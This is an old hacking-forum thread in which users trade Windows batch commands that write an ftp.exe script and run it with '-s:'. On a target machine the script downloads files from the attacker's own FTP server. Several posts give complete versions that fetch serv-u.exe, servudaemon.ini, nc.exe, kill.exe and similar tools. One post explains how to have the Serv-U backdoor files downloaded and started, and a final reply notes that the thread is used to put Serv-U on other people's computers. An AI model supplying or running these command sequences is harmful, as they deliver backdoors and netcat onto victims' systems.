[x1`]

i used to have a file with all the echo commands that u do to send tthe files from a ftp
but deleted by accident
echo open ip port >> file.txt
is that correct
echo user >> file.txt
echo password >> file.txt
whats the rest?

[ThEWaTcHeR]

echo lcd folderwherethefileshouldupload>>
echo get file1>>
echo get file2>>
echo bye>>

[ThEWaTcHeR]

lol axoaco :)

same post-time :)

[x1`]

yes but then i need the command to connect to the ftp
something like
echo ftp.txt s:C or something
anyone know
so it logs in to my ftp

[x1`]

this is what i ment ;)


ECHO open 12.12.12.12 >> ftp.txt open a ftp connection to your IP (replace 12.12.12.12 with your IP)
ECHO username >> ftp.txt ftp username
ECHO password >> ftp.txt ftp password
ECHO get serv-u.exe >> ftp.txt download files.....
ECHO get servudaemon.ini >> ftp.txt download files.....
ECHO get nc.exe >> ftp.txt download files.....
ECHO get tlist.exe >> ftp.txt download files.....
ECHO get kill.exe >> ftp.txt download files.....
ECHO get avk.exe >> ftp.txt download files.....
ECHO bye >> ftp.txt disconnect ftp connection

ftp.exe -s:c:\ftp.txt

[arn0ld]

i'm using :


echo open ip port >> *.txt
echo user >> *.txt
echo pass >> *.txt
echo BINARY >> *.txt
echo get bla.bla >> *.txt
echo get bla.bla >> *.txt
echo quit >> *.txt
ftp.exe -s:*.txt

[[eXPhase]

I always use to start the script

ftp -i -n -v -s:file.script

[arn0ld]

the way i wrote works for me in 100% cases
unless ftp.exe doesn't exist
(sorry for my lame eng)

[NeBoKaDnEzZaR]

Thanks a lot very usefull informations.

[fulsik]

here

echo open 123.123.123.123 port >k.txt
echo user k>>k.txt
echo k>>k.txt
echo mget *.* >>k.txt
echo quit>>k.txt
ftp -i -n -v -s:k.txt


1st line, connects to the ip with specified port
2nd line, enters username
3rd line, enters password
4th line, mass gets every file in the dir user 'k' is sent to
5th line, obvoiusly quits
6th line, executes ftp.exe connect/read ur k.txt connect and download

it's good to make the user that ur typing to be directed to a specific dir where only ur servu files are, e.g servu.exe servudaemon.ini
and it'll download then start them.

[Wimpie]

fulsik, on Oct 10 2004, 06:05 AM, said:

here

echo open 123.123.123.123 port >k.txt
echo user k>>k.txt
echo k>>k.txt
echo mget *.* >>k.txt
echo quit>>k.txt
ftp -i -n -v -s:k.txt


1st line, connects to the ip with specified port
2nd line, enters username
3rd line, enters password
4th line, mass gets every file in the dir user 'k' is sent to
5th line, obvoiusly quits
6th line, executes ftp.exe connect/read ur k.txt connect and download

it's good to make the user that ur typing to be directed to a specific dir where only ur servu files are, e.g servu.exe servudaemon.ini
and it'll download then start them.

<{POST_SNAPBACK}>

using & will reduce your copy paste work
echo open 123.123.123.123 port >k.txt & echo user k>>k.txt & etc.............
so you can put everything on 1 line

[tibbar]

note that only port 21 works properly on ftp.exe

[jubbly]

tibbar, on Dec 4 2004, 11:36 PM, said:

note that only port 21 works properly on ftp.exe

<{POST_SNAPBACK}>

Thats not entirely true as I have used it many times with obscure port numbers.

Although this post is attracting lame people putting serv-u on peeps comps which I believe to be against forum rules posting about such crap.